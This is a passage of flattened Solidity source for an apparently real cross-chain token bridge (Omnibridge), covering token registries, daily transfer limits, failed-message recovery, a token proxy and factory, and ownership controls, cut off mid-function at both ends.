function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.7.5;
contract Sacrifice {
constructor(address payable _recipient) payable {
selfdestruct(_recipient);
}
}
pragma solidity 0.7.5;
library AddressHelper {
function safeSendValue(address payable _receiver, uint256 _value) internal {
if (!(_receiver).send(_value)) {
new Sacrifice{ value: _value }(_receiver);
}
}
}
pragma solidity 0.7.5;
contract Claimable {
using SafeERC20 for IERC20;
modifier validAddress(address _to) {
require(_to != address(0));
_;
}
function claimValues(address _token, address _to) internal validAddress(_to) {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
AddressHelper.safeSendValue(payable(_to), value);
}
function claimErc20Tokens(address _token, address _to) internal {
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(_to, balance);
}
}
pragma solidity 0.7.5;
contract BridgedTokensRegistry is EternalStorage {
event NewTokenRegistered(address indexed nativeToken, address indexed bridgedToken);
function bridgedTokenAddress(address _nativeToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))];
}
function nativeTokenAddress(address _bridgedToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))];
}
function _setTokenAddressPair(address _nativeToken, address _bridgedToken) internal {
addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))] = _bridgedToken;
addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))] = _nativeToken;
emit NewTokenRegistered(_nativeToken, _bridgedToken);
}
}
pragma solidity 0.7.5;
contract NativeTokensRegistry is EternalStorage {
function isBridgedTokenDeployAcknowledged(address _token) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))];
}
function _ackBridgedTokenDeploy(address _token) internal {
if (!boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))]) {
boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))] = true;
}
}
}
pragma solidity 0.7.5;
contract MediatorBalanceStorage is EternalStorage {
function mediatorBalance(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))];
}
function _setMediatorBalance(address _token, uint256 _balance) internal {
uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))] = _balance;
}
}
pragma solidity 0.7.5;
interface IERC677 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
pragma solidity 0.7.5;
library Bytes {
function bytesToAddress(bytes memory _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
pragma solidity 0.7.5;
contract ReentrancyGuard {
function lock() internal view returns (bool res) {
assembly {
res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92)
}
}
function setLock(bool _lock) internal {
assembly {
sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock)
}
}
}
pragma solidity 0.7.5;
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202;
event OwnershipTransferred(address previousOwner, address newOwner);
modifier onlyOwner() {
_onlyOwner();
_;
}
function _onlyOwner() internal view {
require(msg.sender == owner());
}
modifier onlyRelevantSender() {
(bool isProxy, bytes memory returnData) =
address(this).staticcall(abi.encodeWithSelector(UPGRADEABILITY_OWNER));
require(
!isProxy ||
(returnData.length == 32 && msg.sender == abi.decode(returnData, (address))) ||
msg.sender == address(this)
);
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0;
function owner() public view returns (address) {
return addressStorage[OWNER];
}
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
pragma solidity 0.7.5;
interface IAMB {
event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData);
event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData);
event AffirmationCompleted(
address indexed sender,
address indexed executor,
bytes32 indexed messageId,
bool status
);
event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status);
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function requireToConfirmMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
pragma solidity 0.7.5;
abstract contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f;
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880;
modifier onlyMediator {
_onlyMediator();
_;
}
function _onlyMediator() internal view {
IAMB bridge = bridgeContract();
require(msg.sender == address(bridge));
require(bridge.messageSender() == mediatorContractOnOtherSide());
}
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
function mediatorContractOnOtherSide() public view virtual returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
function _setBridgeContract(address _bridgeContract) internal {
require(Address.isContract(_bridgeContract));
addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal virtual returns (bytes32);
}
pragma solidity 0.7.5;
abstract contract TokensRelayer is BasicAMBMediator, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC677;
function onTokenTransfer(
address _from,
uint256 _value,
bytes memory _data
) external returns (bool) {
if (!lock()) {
bytes memory data = new bytes(0);
address receiver = _from;
if (_data.length >= 20) {
receiver = Bytes.bytesToAddress(_data);
if (_data.length > 20) {
assembly {
let size := sub(mload(_data), 20)
data := add(_data, 20)
mstore(data, size)
}
}
}
bridgeSpecificActionsOnTokenTransfer(msg.sender, _from, receiver, _value, data);
}
return true;
}
function relayTokens(
IERC677 token,
address _receiver,
uint256 _value
) external {
_relayTokens(token, _receiver, _value, new bytes(0));
}
function relayTokens(IERC677 token, uint256 _value) external {
_relayTokens(token, msg.sender, _value, new bytes(0));
}
function relayTokensAndCall(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) external {
_relayTokens(token, _receiver, _value, _data);
}
function _relayTokens(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) internal {
require(!lock());
uint256 balanceBefore = token.balanceOf(address(this));
setLock(true);
token.safeTransferFrom(msg.sender, address(this), _value);
setLock(false);
uint256 balanceDiff = token.balanceOf(address(this)).sub(balanceBefore);
require(balanceDiff <= _value);
bridgeSpecificActionsOnTokenTransfer(address(token), msg.sender, _receiver, balanceDiff, _data);
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual;
}
pragma solidity 0.7.5;
interface VersionableBridge {
function getBridgeInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
);
function getBridgeMode() external pure returns (bytes4);
}
pragma solidity 0.7.5;
contract OmnibridgeInfo is VersionableBridge {
event TokensBridgingInitiated(
address indexed token,
address indexed sender,
uint256 value,
bytes32 indexed messageId
);
event TokensBridged(address indexed token, address indexed recipient, uint256 value, bytes32 indexed messageId);
function getBridgeInterfacesVersion()
external
pure
override
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (3, 3, 0);
}
function getBridgeMode() external pure override returns (bytes4 _data) {
return 0xb1516c26;
}
}
pragma solidity 0.7.5;
contract TokensBridgeLimits is EternalStorage, Ownable {
using SafeMath for uint256;
event DailyLimitChanged(address indexed token, uint256 newLimit);
event ExecutionDailyLimitChanged(address indexed token, uint256 newLimit);
function isTokenRegistered(address _token) public view returns (bool) {
return minPerTx(_token) > 0;
}
function totalSpentPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))];
}
function totalExecutedPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))];
}
function dailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))];
}
function executionDailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))];
}
function maxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))];
}
function executionMaxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))];
}
function minPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("minPerTx", _token))];
}
function withinLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalSpentPerDay(_token, getCurrentDay()).add(_amount);
return
dailyLimit(address(0)) > 0 &&
dailyLimit(_token) >= nextLimit &&
_amount <= maxPerTx(_token) &&
_amount >= minPerTx(_token);
}
function withinExecutionLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalExecutedPerDay(_token, getCurrentDay()).add(_amount);
return
executionDailyLimit(address(0)) > 0 &&
executionDailyLimit(_token) >= nextLimit &&
_amount <= executionMaxPerTx(_token);
}
function getCurrentDay() public view returns (uint256) {
return block.timestamp / 1 days;
}
function setDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > maxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _dailyLimit;
emit DailyLimitChanged(_token, _dailyLimit);
}
function setExecutionDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > executionMaxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _dailyLimit;
emit ExecutionDailyLimitChanged(_token, _dailyLimit);
}
function setExecutionMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > 0 && _maxPerTx < executionDailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _maxPerTx;
}
function setMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > minPerTx(_token) && _maxPerTx < dailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _maxPerTx;
}
function setMinPerTx(address _token, uint256 _minPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_minPerTx > 0 && _minPerTx < dailyLimit(_token) && _minPerTx < maxPerTx(_token));
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _minPerTx;
}
function maxAvailablePerTx(address _token) public view returns (uint256) {
uint256 _maxPerTx = maxPerTx(_token);
uint256 _dailyLimit = dailyLimit(_token);
uint256 _spent = totalSpentPerDay(_token, getCurrentDay());
uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0;
return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily;
}
function addTotalSpentPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))] = totalSpentPerDay(_token, _day).add(
_value
);
}
function addTotalExecutedPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))] = totalExecutedPerDay(
_token,
_day
)
.add(_value);
}
function _setLimits(address _token, uint256[3] memory _limits) internal {
require(
_limits[2] > 0 &&
_limits[1] > _limits[2] &&
_limits[0] > _limits[1]
);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _limits[1];
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _limits[2];
emit DailyLimitChanged(_token, _limits[0]);
}
function _setExecutionLimits(address _token, uint256[2] memory _limits) internal {
require(_limits[1] < _limits[0]);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _limits[1];
emit ExecutionDailyLimitChanged(_token, _limits[0]);
}
function _initializeTokenBridgeLimits(address _token, uint256 _decimals) internal {
uint256 factor;
if (_decimals < 18) {
factor = 10**(18 - _decimals);
uint256 _minPerTx = minPerTx(address(0)).div(factor);
uint256 _maxPerTx = maxPerTx(address(0)).div(factor);
uint256 _dailyLimit = dailyLimit(address(0)).div(factor);
uint256 _executionMaxPerTx = executionMaxPerTx(address(0)).div(factor);
uint256 _executionDailyLimit = executionDailyLimit(address(0)).div(factor);
if (_minPerTx == 0) {
_minPerTx = 1;
if (_maxPerTx <= _minPerTx) {
_maxPerTx = 100;
_executionMaxPerTx = 100;
if (_dailyLimit <= _maxPerTx || _executionDailyLimit <= _executionMaxPerTx) {
_dailyLimit = 10000;
_executionDailyLimit = 10000;
}
}
}
_setLimits(_token, [_dailyLimit, _maxPerTx, _minPerTx]);
_setExecutionLimits(_token, [_executionDailyLimit, _executionMaxPerTx]);
} else {
factor = 10**(_decimals - 18);
_setLimits(
_token,
[dailyLimit(address(0)).mul(factor), maxPerTx(address(0)).mul(factor), minPerTx(address(0)).mul(factor)]
);
_setExecutionLimits(
_token,
[executionDailyLimit(address(0)).mul(factor), executionMaxPerTx(address(0)).mul(factor)]
);
}
}
}
pragma solidity 0.7.5;
abstract contract BridgeOperationsStorage is EternalStorage {
function setMessageToken(bytes32 _messageId, address _token) internal {
addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token;
}
function messageToken(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))];
}
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
}
pragma solidity 0.7.5;
abstract contract FailedMessagesProcessor is BasicAMBMediator, BridgeOperationsStorage {
event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value);
function requestFailedMessageFix(bytes32 _messageId) external {
IAMB bridge = bridgeContract();
require(!bridge.messageCallStatus(_messageId));
require(bridge.failedMessageReceiver(_messageId) == address(this));
require(bridge.failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes4 methodSelector = this.fixFailedMessage.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _messageId);
_passMessage(data, true);
}
function fixFailedMessage(bytes32 _messageId) public onlyMediator {
require(!messageFixed(_messageId));
address token = messageToken(_messageId);
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(token, recipient, value);
emit FailedMessageFixed(_messageId, token, recipient, value);
}
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal virtual;
}
pragma solidity 0.7.5;
abstract contract Proxy {
function implementation() public view virtual returns (address);
fallback() external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
mstore(0x40, add(ptr, returndatasize()))
returndatacopy(ptr, 0, returndatasize())
switch result
case 0 {
revert(ptr, returndatasize())
}
default {
return(ptr, returndatasize())
}
}
}
}
pragma solidity 0.7.5;
interface IPermittableTokenVersion {
function version() external pure returns (string memory);
}
contract TokenProxy is Proxy {
string internal name;
string internal symbol;
uint8 internal decimals;
mapping(address => uint256) internal balances;
uint256 internal totalSupply;
mapping(address => mapping(address => uint256)) internal allowed;
address internal owner;
bool internal mintingFinished;
address internal bridgeContractAddr;
bytes32 internal DOMAIN_SEPARATOR;
mapping(address => uint256) internal nonces;
mapping(address => mapping(address => uint256)) internal expirations;
constructor(
address _tokenImage,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _chainId,
address _owner
) {
string memory version = IPermittableTokenVersion(_tokenImage).version();
assembly {
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _tokenImage)
}
name = _name;
symbol = _symbol;
decimals = _decimals;
owner = _owner;
bridgeContractAddr = _owner;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(_name)),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function implementation() public view override returns (address impl) {
assembly {
impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
}
function getTokenProxyInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (1, 0, 0);
}
}
pragma solidity 0.7.5;
contract OwnableModule {
address public owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
}
}
pragma solidity 0.7.5;
contract TokenFactory is OwnableModule {
address public tokenImage;
constructor(address _owner, address _tokenImage) OwnableModule(_owner) {
tokenImage = _tokenImage;
}
function getModuleInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (1, 0, 0);
}
function setTokenImage(address _tokenImage) external onlyOwner {
require(Address.isContract(_tokenImage));
tokenImage = _tokenImage;
}
function deploy(
string calldata _name,
string calldata _symbol,
uint8 _decimals,
uint256 _chainId
) external returns (address) {
return address(new TokenProxy(tokenImage, _name, _symbol, _decimals, _chainId, msg.sender));
}
}
pragma solidity 0.7.5;
contract TokenFactoryConnector is Ownable {
bytes32 internal constant TOKEN_FACTORY_CONTRACT =
0x269c5905f777ee6391c7a361d17039a7d62f52ba9fffeb98c5ade342705731a3;
function setTokenFactory(address _tokenFactory) external onlyOwner {
_setTokenFactory(_tokenFactory);
}
function tokenFactory() public view returns (TokenFactory) {
return TokenFactory(addressStorage[TOKEN_FACTORY_CONTRACT]);
}
function _setTokenFactory(address _tokenFactory) internal {
require(Address.isContract(_tokenFactory));
addressStorage[TOKEN_FACTORY_CONTRACT] = _tokenFactory;
}
}
pragma solidity 0.7.5;
interface IBurnableMintableERC677Token is IERC677 {
function mint(address _to, uint256 _amount) external returns (bool);
function burn(uint256 _value) external;
function claimTokens(address _token, address _to) external;
}
pragma solidity 0.7.5;
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity 0.7.5;
interface IERC20Receiver {
function onTokenBridged(
address token,
uint256 value,
bytes calldata data
) external;
}
pragma solidity 0.7.5;
interface ITokenDetails {
function name() external view;
function NAME() external view;
function symbol() external view;
function SYMBOL() external view;
function decimals() external view;
function DECIMALS() external view;
}
library TokenReader {
function readName(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.name.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.NAME.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readSymbol(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.symbol.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.SYMBOL.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readDecimals(address _token) internal view returns (uint8) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.decimals.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.DECIMALS.selector));
if (!status) {
return 0;
}
}
return abi.decode(data, (uint8));
}
function _convertToString(bytes memory returnData) private pure returns (string memory) {
if (returnData.length > 32) {
return abi.decode(returnData, (string));
} else if (returnData.length == 32) {
bytes32 data = abi.decode(returnData, (bytes32));
string memory res = new string(32);
assembly {
let len := 0
mstore(add(res, 32), data)
for { } gt(data, 0) { len := add(len, 1) } {
data := shl(8, data)
}
mstore(res, len)
}
return res;
} else {
return "";
}
}
}
pragma solidity 0.7.5;
library SafeMint {
function safeMint(
IBurnableMintableERC677Token _token,
address _to,
uint256 _value
) internal {
require(_token.mint(_to, _value));
}
}
pragma solidity 0.7.5;
abstract contract BasicOmnibridge is
Initializable,
Upgradeable,
Claimable,
OmnibridgeInfo,
TokensRelayer,
FailedMessagesProcessor,
BridgedTokensRegistry,
NativeTokensRegistry,
MediatorBalanceStorage,
TokenFactoryConnector,
TokensBridgeLimits
{
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
uint256 private immutable SUFFIX_SIZE;
bytes32 private immutable SUFFIX;
constructor(string memory _suffix) {
require(bytes(_suffix).length <= 32);
bytes32 suffix;
assembly {
suffix := mload(add(_suffix, 32))
}
SUFFIX = suffix;
SUFFIX_SIZE = bytes(_suffix).length;
}
function deployAndHandleBridgedTokens(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
}
function deployAndHandleBridgedTokensAndCall(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value,
bytes calldata _data
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
_receiverCallback(_recipient, bridgedToken, _value, _data);
}
function handleBridgedTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
}
function handleBridgedTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
_receiverCallback(_recipient, token, _value, _data);
}
function handleNativeTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
}
function handleNativeTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
_receiverCallback(_recipient, _token, _value, _data);
}
function isRegisteredAsNativeToken(address _token) public view returns (bool) {
return isTokenRegistered(_token) && nativeTokenAddress(_token) == address(0);
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal override {
_releaseTokens(nativeTokenAddress(_token) == address(0), _token, _recipient, _value, _value);
}
function setCustomTokenAddressPair(address _nativeToken, address _bridgedToken) external onlyOwner {
require(!isTokenRegistered(_bridgedToken));
require(nativeTokenAddress(_bridgedToken) == address(0));
require(bridgedTokenAddress(_nativeToken) == address(0));
IBurnableMintableERC677Token(_bridgedToken).safeMint(address(this), 1);
IBurnableMintableERC677Token(_bridgedToken).burn(1);
_setTokenAddressPair(_nativeToken, _bridgedToken);
}
function fixMediatorBalance(address _token, address _receiver)
external
onlyIfUpgradeabilityOwner
validAddress(_receiver)
{
require(isRegisteredAsNativeToken(_token));
uint256 diff = _unaccountedBalance(_token);
require(diff > 0);
uint256 available = maxAvailablePerTx(_token);
require(available > 0);
if (diff > available) {
diff = available;
}
addTotalSpentPerDay(_token, getCurrentDay(), diff);
bytes memory data = _prepareMessage(address(0), _token, _receiver, diff, new bytes(0));
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _receiver, diff);
}
function claimTokens(address _token, address _to) external onlyIfUpgradeabilityOwner {
require(_token == address(0) || !isTokenRegistered(_token));
claimValues(_token, _to);
}
function claimTokensFromTokenContract(
address _bridgedToken,
address _token,
address _to
) external onlyIfUpgradeabilityOwner {
IBurnableMintableERC677Token(_bridgedToken).claimTokens(_token, _to);
}
function _recordBridgeOperation(
bytes32 _messageId,
address _token,
address _sender,
uint256 _value
) internal {
setMessageToken(_messageId, _token);
setMessageRecipient(_messageId, _sender);
setMessageValue(_messageId, _value);
emit TokensBridgingInitiated(_token, _sender, _value, _messageId);
}
function _prepareMessage(
address _nativeToken,
address _token,
address _receiver,
uint256 _value,
bytes memory _data
) internal returns (bytes memory) {
bool withData = _data.length > 0 || msg.sig == this.relayTokensAndCall.selector;
if (_nativeToken == address(0)) {
_setMediatorBalance(_token, mediatorBalance(_token).add(_value));
if (isBridgedTokenDeployAcknowledged(_token)) {
return
withData
? abi.encodeWithSelector(
this.handleBridgedTokensAndCall.selector,
_token,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleBridgedTokens.selector, _token, _receiver, _value);
}
uint8 decimals = TokenReader.readDecimals(_token);
string memory name = TokenReader.readName(_token);
string memory symbol = TokenReader.readSymbol(_token);
require(bytes(name).length > 0 || bytes(symbol).length > 0);
return
withData
? abi.encodeWithSelector(
this.deployAndHandleBridgedTokensAndCall.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(
this.deployAndHandleBridgedTokens.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value
);
}
IBurnableMintableERC677Token(_token).burn(_value);
return
withData
? abi.encodeWithSelector(
this.handleNativeTokensAndCall.selector,
_nativeToken,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleNativeTokens.selector, _nativeToken, _receiver, _value);
}
function _getMinterFor(address _token) internal pure virtual returns (IBurnableMintableERC677Token) {
return IBurnableMintableERC677Token(_token);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal virtual {
if (_isNative) {
IERC677(_token).safeTransfer(_recipient, _value);
_setMediatorBalance(_token, mediatorBalance(_token).sub(_balanceChange));
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
function _getBridgedTokenOrDeploy(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals
) internal returns (address) {
address bridgedToken = bridgedTokenAddress(_token);
if (bridgedToken == address(0)) {
string memory name = _name;
string memory symbol = _symbol;
require(bytes(name).length > 0 || bytes(symbol).length > 0);
if (bytes(name).length == 0) {
name = symbol;
} else if (bytes(symbol).length == 0) {
symbol = name;
}
name = _transformName(name);
bridgedToken = tokenFactory().deploy(name, symbol, _decimals, bridgeContract().sourceChainId());
_setTokenAddressPair(_token, bridgedToken);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
} else if (!isTokenRegistered(bridgedToken)) {
require(IERC20Metadata(bridgedToken).decimals() == _decimals);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
}
return bridgedToken;
}
function _receiverCallback(
address _recipient,
